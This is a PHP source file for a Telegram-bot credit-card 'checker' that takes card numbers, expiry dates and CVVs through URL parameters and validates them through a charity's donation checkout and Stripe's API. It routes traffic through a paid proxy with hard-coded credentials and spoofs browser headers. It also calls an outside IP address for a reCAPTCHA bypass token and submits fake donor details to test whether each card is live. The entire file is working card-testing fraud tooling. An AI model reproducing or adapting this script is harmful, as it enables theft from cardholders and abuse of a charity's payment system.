<?php
// Stripe + Dharma.org Full Flow Checker
// 5-Step Flow: PM → Member → Transaction → Charge Intent → Result

header('Content-Type: text/plain; charset=utf-8');

// Database connection
$host = 'localhost';
$dbname = 'checkerbotdb3';
$username = 'root';
$password = '';

function getCurrentLimit($chatid) {
    global $host, $dbname, $username, $password;
    try {
        $conn = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $username, $password);
        $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        
        $stmt = $conn->prepare("SELECT stripegenellimit FROM users WHERE chatid = :chatid");
        $stmt->execute(['chatid' => $chatid]);
        $result = $stmt->fetch(PDO::FETCH_ASSOC);
        
        if ($result) {
            return (int)$result['stripegenellimit'];
        }
        return 0;
    } catch(PDOException $e) {
        return 0;
    }
}

function decrementLimit($chatid) {
    global $host, $dbname, $username, $password;
    try {
        $conn = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $username, $password);
        $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        
        $stmt = $conn->prepare("UPDATE users SET stripegenellimit = stripegenellimit - 1 WHERE chatid = :chatid AND stripegenellimit > 0");
        $stmt->execute(['chatid' => $chatid]);
        
        return true;
    } catch(PDOException $e) {
        return false;
    }
}

// Check parameters
if (!isset($_GET['kart']) || !isset($_GET['chatid'])) {
    echo "ERROR: Missing parameters\n";
    echo "Usage: ?kart=CARDNUMBER|MONTH|YEAR|CVV&chatid=CHATID\n";
    exit;
}

$chatid = $_GET['chatid'];

// Check limit
$currentLimit = getCurrentLimit($chatid);
if ($currentLimit < 1) {
    echo "ERROR: Insufficient limits (Available: {$currentLimit})\n";
    exit;
}

// Deduct limit IMMEDIATELY
decrementLimit($chatid);

// Get parameters
$kart = $_GET['kart'];
$debug = $_GET['debug'] ?? '0';

// Proxy configuration
$proxy = 'rp.scrapegw.com:6060';
$proxy_auth = 'ccb7t99f1xa6q6v:e88zmabjie6wuek';

// Start time
$startTime = microtime(true);

// Parse card
$parts = explode('|', $kart);
if (count($parts) != 4) {
    echo "ERROR: Invalid card format\n";
    echo "Usage: ?kart=CARDNUMBER|MONTH|YEAR|CVV\n";
    exit;
}

list($cc, $month, $year, $cvv) = $parts;

// Format month
if (strlen($month) == 1) {
    $month = '0' . $month;
}

// Format year - normalize to 2 digits
if (strlen($year) == 4) {
    $year = substr($year, -2);
} elseif (strlen($year) != 2) {
    echo "ERROR: Invalid year format\n";
    exit;
}

// Stripe + Dharma Configuration
$stripe_pk = 'pk_live_h5ocNWNpicLCfBJvLialXsb900SaJnJscz';
$campaign_id = '724857';
$org_id = '84958';
$amount_try = 1067; // TRY amount

// Generate IDs
function generateGuid() {
    return sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
        mt_rand(0, 0xffff), mt_rand(0, 0xffff),
        mt_rand(0, 0xffff),
        mt_rand(0, 0x0fff) | 0x4000,
        mt_rand(0, 0x3fff) | 0x8000,
        mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff)
    );
}

$guid = generateGuid() . dechex(mt_rand(1000, 9999));
$muid = generateGuid() . dechex(mt_rand(100000, 999999));
$sid = generateGuid() . dechex(mt_rand(100000, 999999));
$client_session_id = generateGuid();
$pgdid = bin2hex(random_bytes(12));
$user_id = mt_rand(1000000000000000, 9999999999999999);
$pageview_id = mt_rand(1000000000000000, 9999999999999999);
$session_id = mt_rand(1000000000000000, 9999999999999999);

//=== STEP 1: CREATE PAYMENT METHOD ===
$ch1 = curl_init();

$pm_data = http_build_query([
    'type' => 'card',
    'card[number]' => $cc,
    'card[cvc]' => $cvv,
    'card[exp_year]' => $year,
    'card[exp_month]' => $month,
    'allow_redisplay' => 'unspecified',
    'pasted_fields' => 'number',
    'payment_user_agent' => 'stripe.js/be0b733d77; stripe-js-v3/be0b733d77; payment-element; deferred-intent',
    'referrer' => 'https://give.dharma.org',
    'time_on_page' => mt_rand(50000, 100000),
    'client_attribution_metadata[client_session_id]' => $client_session_id,
    'client_attribution_metadata[merchant_integration_source]' => 'elements',
    'client_attribution_metadata[merchant_integration_subtype]' => 'payment-element',
    'client_attribution_metadata[merchant_integration_version]' => '2021',
    'client_attribution_metadata[payment_intent_creation_flow]' => 'deferred',
    'client_attribution_metadata[payment_method_selection_flow]' => 'merchant_specified',
    'client_attribution_metadata[elements_session_config_id]' => generateGuid(),
    'client_attribution_metadata[merchant_integration_additional_elements][0]' => 'payment',
    'guid' => $guid,
    'muid' => $muid,
    'sid' => $sid,
    'key' => $stripe_pk
]);

curl_setopt_array($ch1, [
    CURLOPT_URL => 'https://api.stripe.com/v1/payment_methods',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => $pm_data,
    CURLOPT_HTTPHEADER => [
        'accept: application/json',
        'accept-language: tr-TR,tr;q=0.9',
        'content-type: application/x-www-form-urlencoded',
        'origin: https://js.stripe.com',
        'referer: https://js.stripe.com/',
        'sec-ch-ua: "Chromium";v="143", "Not A(Brand";v="24"',
        'sec-ch-ua-mobile: ?0',
        'sec-ch-ua-platform: "Windows"',
        'sec-fetch-dest: empty',
        'sec-fetch-mode: cors',
        'sec-fetch-site: same-site',
        'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36'
    ],
    CURLOPT_PROXY => $proxy,
    CURLOPT_PROXYUSERPWD => $proxy_auth,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_TIMEOUT => 30
]);

$pm_response = curl_exec($ch1);
$pm_httpCode = curl_getinfo($ch1, CURLINFO_HTTP_CODE);
$pm_error = curl_error($ch1);
curl_close($ch1);

$pm_json = json_decode($pm_response, true);

if ($debug == '1') {
    echo "=== STEP 1: PAYMENT METHOD ===\n";
    echo "HTTP Code: $pm_httpCode\n";
    if ($pm_error) {
        echo "CURL Error: $pm_error\n";
    }
    echo "Response:\n$pm_response\n\n";
}

if (!$pm_json || !isset($pm_json['id'])) {
    $elapsed = round(microtime(true) - $startTime, 2);
    
    // Stripe error varsa onu göster
    if (isset($pm_json['error'])) {
        $error_code = $pm_json['error']['code'] ?? 'unknown';
        $error_type = $pm_json['error']['type'] ?? 'error';
        
        if ($debug == '1') {
            $error_msg = $pm_json['error']['message'] ?? 'Unknown error';
            echo "Error: $error_msg\n";
        }
        
        // Limit'i azalt
        decrementLimit($chatid);
        
        // Card error ise decline olarak göster
        if ($error_type === 'card_error') {
            echo "❌{$error_code} | $cc|$month|$year|$cvv ({$elapsed}s) 𝐋𝐈𝐌𝐈𝐓:" . getCurrentLimit($chatid) . " 𝐒𝐓𝐑𝐈𝐏𝐄𝟑 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
            exit;
        }
    }
    
    // Diğer hatalar
    echo "❌PM CREATION FAILED | $cc|$month|$year|$cvv ({$elapsed}s) 𝐋𝐈𝐌𝐈𝐓:" . getCurrentLimit($chatid) . " 𝐒𝐓𝐑𝐈𝐏𝐄𝟑 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
    exit;
}

$pm_id = $pm_json['id'];
$brand = $pm_json['card']['brand'] ?? 'unknown';
$funding = $pm_json['card']['funding'] ?? 'unknown';
$country = $pm_json['card']['country'] ?? 'unknown';

//=== STEP 2: GET RECAPTCHA TOKEN ===
$recaptcha_anchor = urlencode('https://www.google.com/recaptcha/enterprise/anchor?ar=1&k=6LcwtHkpAAAAABHUXtvKCZQ645083zUdeimy8NlP&co=aHR0cHM6Ly9naXZlLmRoYXJtYS5vcmc6NDQz&hl=tr&v=7gg7H51Q-naNfhmCP3_R47ho&size=invisible&badge=bottomright&anchor-ms=20000&execute-ms=15000&cb=j6ruvi198m65');
$recaptcha_url = "http://193.142.147.218/yenicheckbotaerithia/recpv2apiler/bypass.php?anchor={$recaptcha_anchor}";

$ch_recap = curl_init();
curl_setopt_array($ch_recap, [
    CURLOPT_URL => $recaptcha_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_TIMEOUT => 15
]);

$recap_response = curl_exec($ch_recap);
curl_close($ch_recap);

$recap_json = json_decode($recap_response, true);

if (!$recap_json || !isset($recap_json['token'])) {
    $elapsed = round(microtime(true) - $startTime, 2);
    echo "❌RECAPTCHA BYPASS FAILED | $cc|$month|$year|$cvv ({$elapsed}s)\n";
    echo "𝐏𝐌: $pm_id\n";
    echo "𝐋𝐢𝐦𝐢𝐭:" . getCurrentLimit($chatid) . "\n";
    echo "𝐒𝐓𝐑𝐈𝐏𝐄𝟑 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
    exit;
}

$recaptcha_token = $recap_json['token'];

if ($debug == '1') {
    echo "=== STEP 2: RECAPTCHA ===\n";
    echo "Token: " . substr($recaptcha_token, 0, 80) . "...\n\n";
}

// Setup cookies
$hp2_id = json_encode([
    'userId' => (string)$user_id,
    'pageviewId' => (string)$pageview_id,
    'sessionId' => (string)$session_id,
    'identity' => null,
    'trackerVersion' => '4.0'
]);

$hp2_props = json_encode([
    'environment' => 'prod',
    'campaignId' => $campaign_id,
    'orgId' => $org_id,
    'hasCartEnabled' => false,
    'pgdid' => $pgdid
]);

$cookies = [
    "pgdid={$pgdid}",
    "_hp2_id.1566116007=" . urlencode($hp2_id),
    "_hp2_props.1566116007=" . urlencode($hp2_props),
    "__stripe_mid={$muid}",
    "__stripe_sid={$sid}"
];

$email = 'test' . mt_rand(100000, 999999) . '@example.com';

//=== STEP 3: CREATE MEMBER ===
$ch_member = curl_init();

$member_data = [
    'address1' => '123 Test Street',
    'address2' => '',
    'city' => 'Test City',
    'country' => 'US',
    'first_name' => 'John',
    'last_name' => 'Doe',
    'postal_code' => '90210',
    'state' => 'CA',
    'email_address' => $email,
    'phone' => ''
];

curl_setopt_array($ch_member, [
    CURLOPT_URL => "https://give.dharma.org/checkout/api/members",
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => json_encode($member_data),
    CURLOPT_HTTPHEADER => [
        'accept: */*',
        'accept-language: tr-TR,tr;q=0.9',
        'content-type: application/json',
        'origin: https://give.dharma.org',
        'referer: https://give.dharma.org/checkout?cid=' . $campaign_id . '&oid=' . $org_id . '&amount=' . $amount_try . '&frequency=one-time&currency=TRY&step=2',
        'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
        'cookie: ' . implode('; ', $cookies)
    ],
    CURLOPT_PROXY => $proxy,
    CURLOPT_PROXYUSERPWD => $proxy_auth,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_TIMEOUT => 30
]);

$member_response = curl_exec($ch_member);
$member_httpCode = curl_getinfo($ch_member, CURLINFO_HTTP_CODE);
$member_headers = curl_getinfo($ch_member);
curl_close($ch_member);

$member_json = json_decode($member_response, true);

// Extract transaction_token from response header
preg_match('/Transaction_token:\s*([^\r\n]+)/', $member_response, $token_match);
$transaction_token = $token_match[1] ?? null;

if ($debug == '1') {
    echo "=== STEP 3: MEMBER CREATION ===\n";
    echo "HTTP Code: $member_httpCode\n";
    echo "Response: $member_response\n\n";
}

if (!$member_json || !isset($member_json['id'])) {
    $elapsed = round(microtime(true) - $startTime, 2);
    echo "❌MEMBER CREATION FAILED | $cc|$month|$year|$cvv ({$elapsed}s)\n";
    echo "𝐏𝐌: $pm_id\n";
    echo "𝐋𝐢𝐦𝐢𝐭:" . getCurrentLimit($chatid) . "\n";
    echo "𝐒𝐓𝐑𝐈𝐏𝐄𝟑 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
    exit;
}

$member_id = $member_json['id'];

//=== STEP 4: CREATE TRANSACTION ===
$ch_txn = curl_init();

$txn_data = [
    'billing_address1' => '123 Test Street',
    'billing_address2' => '',
    'billing_city' => 'Test City',
    'billing_country' => 'US',
    'billing_first_name' => 'John',
    'billing_last_name' => 'Doe',
    'billing_postal_code' => '90210',
    'billing_state' => 'CA',
    'frequency' => 'one-time',
    'company_name' => null,
    'designation_id' => 1823648,
    'hide_amount' => false,
    'is_anonymous' => false,
    'items' => [[
        'quantity' => 1,
        'type' => 'donation',
        'product_name' => 'Donation',
        'price' => $amount_try,
        'raw_final_price' => $amount_try
    ]],
    'is_reprocess' => false,
    'is_gift_aid' => false,
    'member_id' => $member_id,
    'member_country' => 'US',
    'member_email_address' => $email,
    'member_first_name' => 'John',
    'member_last_name' => 'Doe',
    'member_name' => 'John Doe',
    'member_phone' => '',
    'raw_currency_code' => 'TRY',
    'payment_type' => 'Credit Card',
    'payment_method' => 'Classy Pay',
    'payment_gateway' => 'Stripe',
    'payment_source' => 'MANUAL',
    'status' => 'incomplete',
    'answers' => [],
    'applied_application_fee_percent' => null,
    'applied_processor_fee_percent' => null,
    'applied_raw_processor_fee_flat' => null,
    'applied_flex_rate_percent' => null,
    'raw_application_fee_amount' => null,
    'raw_processor_fee_amount' => null,
    'raw_flex_rate_amount' => null,
    'raw_initial_gross_amount' => null,
    'comment' => '',
    'employer_match' => [
        'employer_id' => 'null',
        'employer_name' => '',
        'employer_search_text' => ''
    ]
];

curl_setopt_array($ch_txn, [
    CURLOPT_URL => "https://give.dharma.org/checkout/api/campaigns/{$campaign_id}/transactions",
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => json_encode($txn_data),
    CURLOPT_HTTPHEADER => [
        'accept: */*',
        'accept-language: tr-TR,tr;q=0.9',
        'content-type: application/json',
        'origin: https://give.dharma.org',
        'referer: https://give.dharma.org/checkout?cid=' . $campaign_id . '&oid=' . $org_id . '&amount=' . $amount_try . '&frequency=one-time&currency=TRY&step=2',
        'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
        'cookie: ' . implode('; ', $cookies)
    ],
    CURLOPT_PROXY => $proxy,
    CURLOPT_PROXYUSERPWD => $proxy_auth,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_TIMEOUT => 30
]);

$txn_response = curl_exec($ch_txn);
$txn_httpCode = curl_getinfo($ch_txn, CURLINFO_HTTP_CODE);
curl_close($ch_txn);

$txn_json = json_decode($txn_response, true);

if ($debug == '1') {
    echo "=== STEP 4: TRANSACTION CREATION ===\n";
    echo "HTTP Code: $txn_httpCode\n";
    echo "Response:\n" . json_encode($txn_json, JSON_PRETTY_PRINT) . "\n\n";
}

if (!$txn_json || !isset($txn_json['transactionToken'])) {
    $elapsed = round(microtime(true) - $startTime, 2);
    echo "❌TRANSACTION CREATION FAILED | $cc|$month|$year|$cvv ({$elapsed}s)\n";
    echo "𝐏𝐌: $pm_id\n";
    echo "𝐌𝐞𝐦𝐛𝐞𝐫: $member_id\n";
    echo "𝐋𝐢𝐦𝐢𝐭:" . getCurrentLimit($chatid) . "\n";
    echo "𝐒𝐓𝐑𝐈𝐏𝐄𝟑 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
    exit;
}

$transaction_token = $txn_json['transactionToken'];
$reference_id = $txn_json['transaction']['id'];

//=== STEP 5: CHARGE INTENT ===
$ch_charge = curl_init();

$charge_data = [
    'type' => 'DONATION',
    'paymentMethod' => 'Stripe',
    'paymentDetails' => [
        'source' => $pm_id
    ],
    'currency' => 'TRY',
    'amount' => $amount_try,
    'firstName' => 'John',
    'lastName' => 'Doe',
    'address1' => '123 Test Street',
    'address2' => '',
    'city' => 'Test City',
    'state' => 'CA',
    'country' => 'US',
    'zip' => '90210',
    'email' => $email,
    'referenceId' => (string)$reference_id,
    'reCaptchaToken' => $recaptcha_token,
    'metaData' => [
        'employer_match' => [
            'employer_id' => 'null',
            'employer_name' => '',
            'employer_search_text' => ''
        ]
    ]
];

curl_setopt_array($ch_charge, [
    CURLOPT_URL => "https://give.dharma.org/checkout/api/charge-intent?campaign_id={$campaign_id}&payment_method=Stripe",
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => json_encode($charge_data),
    CURLOPT_HTTPHEADER => [
        'accept: */*',
        'accept-language: tr-TR,tr;q=0.9',
        'content-type: application/json',
        'transaction_token: ' . $transaction_token,
        'origin: https://give.dharma.org',
        'referer: https://give.dharma.org/checkout?cid=' . $campaign_id . '&oid=' . $org_id . '&amount=' . $amount_try . '&frequency=one-time&currency=TRY&step=2',
        'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
        'cookie: ' . implode('; ', $cookies)
    ],
    CURLOPT_PROXY => $proxy,
    CURLOPT_PROXYUSERPWD => $proxy_auth,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_TIMEOUT => 45,
    CURLOPT_CONNECTTIMEOUT => 10
]);

$charge_response = curl_exec($ch_charge);
$charge_httpCode = curl_getinfo($ch_charge, CURLINFO_HTTP_CODE);
$charge_error = curl_error($ch_charge);
$charge_errno = curl_errno($ch_charge);
curl_close($ch_charge);

$charge_json = json_decode($charge_response, true);

$total_elapsed = round(microtime(true) - $startTime, 2);

if ($debug == '1') {
    echo "=== STEP 5: CHARGE INTENT ===\n";
    echo "HTTP Code: $charge_httpCode\n";
    echo "Total Time: {$total_elapsed}s\n";
    if ($charge_errno) {
        echo "CURL Error ($charge_errno): $charge_error\n";
    }
    echo "Response:\n" . json_encode($charge_json, JSON_PRETTY_PRINT) . "\n";
    if (!$charge_response) {
        echo "Raw Response: NULL\n";
    }
    // Don't exit here, continue to Step 6
}

// Parse result
if (!$charge_json || !isset($charge_json['chargeIntent'])) {
    echo "❌CHARGE INTENT FAILED | $cc|$month|$year|$cvv ({$total_elapsed}s)\n";
    echo "𝐏𝐌: $pm_id | 𝐑𝐞𝐟: $reference_id\n";
    if (isset($charge_json['message'])) {
        echo "𝐄𝐫𝐫𝐨𝐫: " . $charge_json['message'] . "\n";
    }
    echo "𝐋𝐢𝐦𝐢𝐭:" . getCurrentLimit($chatid) . "\n";
    echo "𝐒𝐓𝐑𝐈𝐏𝐄𝟑 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
    exit;
}

$pi_id = $charge_json['chargeIntent']['id'];
$pi_amount = $charge_json['chargeIntent']['amount'];

// Real charge tespit - PI confirm edip decline kontrolü yapalım
$ch_confirm = curl_init();

$confirm_data = http_build_query([
    'use_stripe_sdk' => 'true',
    'mandate_data[customer_acceptance][type]' => 'online',
    'mandate_data[customer_acceptance][online][infer_from_client]' => 'true',
    'key' => $stripe_pk,
    'client_attribution_metadata[client_session_id]' => $client_session_id,
    'client_attribution_metadata[merchant_integration_source]' => 'l1',
    'client_secret' => $charge_json['chargeIntent']['client_secret']
]);

curl_setopt_array($ch_confirm, [
    CURLOPT_URL => "https://api.stripe.com/v1/payment_intents/{$pi_id}/confirm",
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => $confirm_data,
    CURLOPT_HTTPHEADER => [
        'accept: application/json',
        'accept-language: tr-TR,tr;q=0.9',
        'content-type: application/x-www-form-urlencoded',
        'origin: https://js.stripe.com',
        'referer: https://js.stripe.com/',
        'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36'
    ],
    CURLOPT_PROXY => $proxy,
    CURLOPT_PROXYUSERPWD => $proxy_auth,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_TIMEOUT => 30
]);

$confirm_response = curl_exec($ch_confirm);
$confirm_httpCode = curl_getinfo($ch_confirm, CURLINFO_HTTP_CODE);
$confirm_error = curl_error($ch_confirm);
$confirm_errno = curl_errno($ch_confirm);
curl_close($ch_confirm);

$confirm_json = json_decode($confirm_response, true);

$total_elapsed = round(microtime(true) - $startTime, 2);

if ($debug == '1') {
    echo "\n=== STEP 6: PAYMENT INTENT CONFIRM ===\n";
    echo "HTTP Code: $confirm_httpCode\n";
    echo "Total Time: {$total_elapsed}s\n";
    if ($confirm_errno) {
        echo "CURL Error ($confirm_errno): $confirm_error\n";
    }
    echo "Response:\n" . json_encode($confirm_json, JSON_PRETTY_PRINT) . "\n";
    exit;
}

// Check result
if ($confirm_httpCode == 402 && isset($confirm_json['error'])) {
    // Card declined
    $error = $confirm_json['error'];
    $code = $error['code'] ?? 'card_declined';
    $decline_code = $error['decline_code'] ?? 'generic_decline';
    
    decrementLimit($chatid);
    
    echo "❌{$code} - {$decline_code} | $cc|$month|$year|$cvv ({$total_elapsed}s) 𝐋𝐈𝐌𝐈𝐓:" . getCurrentLimit($chatid) . " 𝐒𝐓𝐑𝐈𝐏𝐄𝟑 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
    exit;
}

if ($confirm_httpCode == 200 && isset($confirm_json['status'])) {
    $pi_status = $confirm_json['status'];
    
    if ($pi_status === 'succeeded' || $pi_status === 'processing') {
        decrementLimit($chatid);
        
        echo "✅APPROVED | $cc|$month|$year|$cvv ({$total_elapsed}s) 𝐋𝐈𝐌𝐈𝐓:" . getCurrentLimit($chatid) . " 𝐒𝐓𝐑𝐈𝐏𝐄𝟑 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
        exit;
    }
    
    if ($pi_status === 'requires_action') {
        decrementLimit($chatid);
        
        echo "❌requires_action - 3ds_required | $cc|$month|$year|$cvv ({$total_elapsed}s) 𝐋𝐈𝐌𝐈𝐓:" . getCurrentLimit($chatid) . " 𝐒𝐓𝐑𝐈𝐏𝐄𝟑 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
        exit;
    }
}

// Unknown status
decrementLimit($chatid);

echo "❌unknown_error - unknown_status | $cc|$month|$year|$cvv ({$total_elapsed}s) 𝐋𝐈𝐌𝐈𝐓:" . getCurrentLimit($chatid) . " 𝐒𝐓𝐑𝐈𝐏𝐄𝟑 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot\n";
?>
